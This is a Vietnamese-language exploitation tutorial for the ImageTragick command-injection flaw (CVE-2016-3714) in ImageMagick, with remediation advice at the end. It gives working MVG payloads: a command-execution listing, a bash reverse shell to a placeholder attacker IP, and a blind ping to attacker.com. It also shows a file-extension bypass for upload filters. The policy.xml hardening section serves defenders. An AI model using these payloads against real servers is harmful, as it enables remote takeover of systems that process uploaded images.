ImageTragick Exploitation (CVE-2016-3714)
CVE & Basic Info
Product ImageMagick CVE ID CVE-2016-3714.
- CVE ID:CVE-2016-3714
- Vulnerability Type:CWE-78 – OS Command Injection , RCE
- Affected Versions:≤ 6.9.3-9, ≤ 7.0.1-0
- Patched Versions:6.9.3-10, 7.0.1-1
- CVSS Severity:High(8.2)
ImageTragick Exploitation (CVE-2016-3714)
1. Tổng quan về lỗ hổng
ImageTragick là tên gọi chung cho một loạt lỗ hổng bảo mật trong thư viện xử lý ảnh ImageMagick, được công bố vào năm 2016. Lỗ hổng nghiêm trọng nhất (CVE-2016-3714) cho phép kẻ tấn công thực thi lệnh hệ thống từ xa (Remote Code Execution - RCE) thông qua việc upload một file ảnh được chế tạo đặc biệt.
Nguyên nhân: ImageMagick có tính năng "Delegate" (ủy quyền), cho phép nó gọi các chương trình bên ngoài để xử lý các định dạng file lạ. Cấu hình mặc định của tính năng này không an toàn, cho phép kẻ tấn công chèn lệnh shell vào tên file hoặc tham số truyền cho các chương trình delegate này.
Cụ thể, các định dạng file như MVG (Magick Vector Graphics) và MSL (Magick Scripting Language) cho phép sử dụng các từ khóa như url hoặc image để tải tài nguyên từ bên ngoài. Kẻ tấn công có thể lợi dụng điều này để chèn lệnh hệ thống.
2. Kỹ thuật khai thác (Exploitation)
Bước 1: Xác định mục tiêu
Lỗ hổng này ảnh hưởng đến các trang web sử dụng ImageMagick để:
- Resize ảnh (tạo thumbnail).
- Convert định dạng ảnh (ví dụ: từ PNG sang JPG).
- Crop hoặc chỉnh sửa ảnh.
Bước 2: Tạo Payload (.mvg)
Tạo một file text có tên exploit.mvg (hoặc đổi đuôi thành .jpg để bypass bộ lọc upload).
Payload 1: RCE cơ bản (Liệt kê thư mục)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-contextGiải thích: Dấu | báo hiệu cho ImageMagick biết rằng phần sau đó là một lệnh hệ thống cần thực thi, thay vì một URL thông thường.
Payload 2: Reverse Shell (Chiếm quyền điều khiển)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1")'
pop graphic-context(Thay YOUR_IP và YOUR_PORT bằng địa chỉ máy tấn công của bạn)
Payload 3: Blind RCE (Kiểm tra bằng Ping/Curl) Nếu bạn không thấy kết quả lệnh trả về trên web, hãy dùng lệnh ping tới server của bạn (ví dụ Burp Collaborator) để xác nhận.
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ping -c 4 attacker.com")'
pop graphic-contextBước 3: Bypass Extension
Hầu hết các trang web sẽ chặn đuôi .mvg. Tuy nhiên, ImageMagick có cơ chế tự động nhận diện định dạng file dựa trên nội dung (Magic Bytes) chứ không phụ thuộc vào đuôi file.
- Đổi tên
exploit.mvgthànhexploit.jpg. - Upload file
exploit.jpglên server. - Khi server xử lý file này (ví dụ: tạo thumbnail), nó sẽ đọc nội dung, nhận ra đây là định dạng MVG và thực thi lệnh bên trong.
3. Biện pháp phòng chống (Remediation)
1. Cập nhật ImageMagick
Lỗ hổng này đã được vá trong các phiên bản ImageMagick mới (từ 6.9.3-10 và 7.0.1-1 trở đi). Hãy đảm bảo server của bạn đang chạy phiên bản mới nhất.
2. Cấu hình Policy (policy.xml)
Nếu không thể cập nhật ngay, bạn có thể vô hiệu hóa các coder nguy hiểm bằng cách chỉnh sửa file cấu hình /etc/ImageMagick/policy.xml.
Thêm các dòng sau vào phần <policymap>:
<policymap>
<!-- Vô hiệu hóa các định dạng nguy hiểm -->
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
<policy domain="coder" rights="none" pattern="TEXT" />
<policy domain="coder" rights="none" pattern="SHOW" />
<policy domain="coder" rights="none" pattern="WIN" />
<policy domain="coder" rights="none" pattern="PLT" />
<!-- Ngăn chặn việc đọc file hệ thống qua ký tự @ -->
<policy domain="path" rights="none" pattern="@*" />
</policymap>3. Kiểm tra Magic Bytes chặt chẽ
Trước khi đưa file vào ImageMagick xử lý, hãy kiểm tra Magic Bytes của file để đảm bảo nó thực sự là định dạng ảnh an toàn (JPEG, PNG, GIF) và khớp với đuôi file.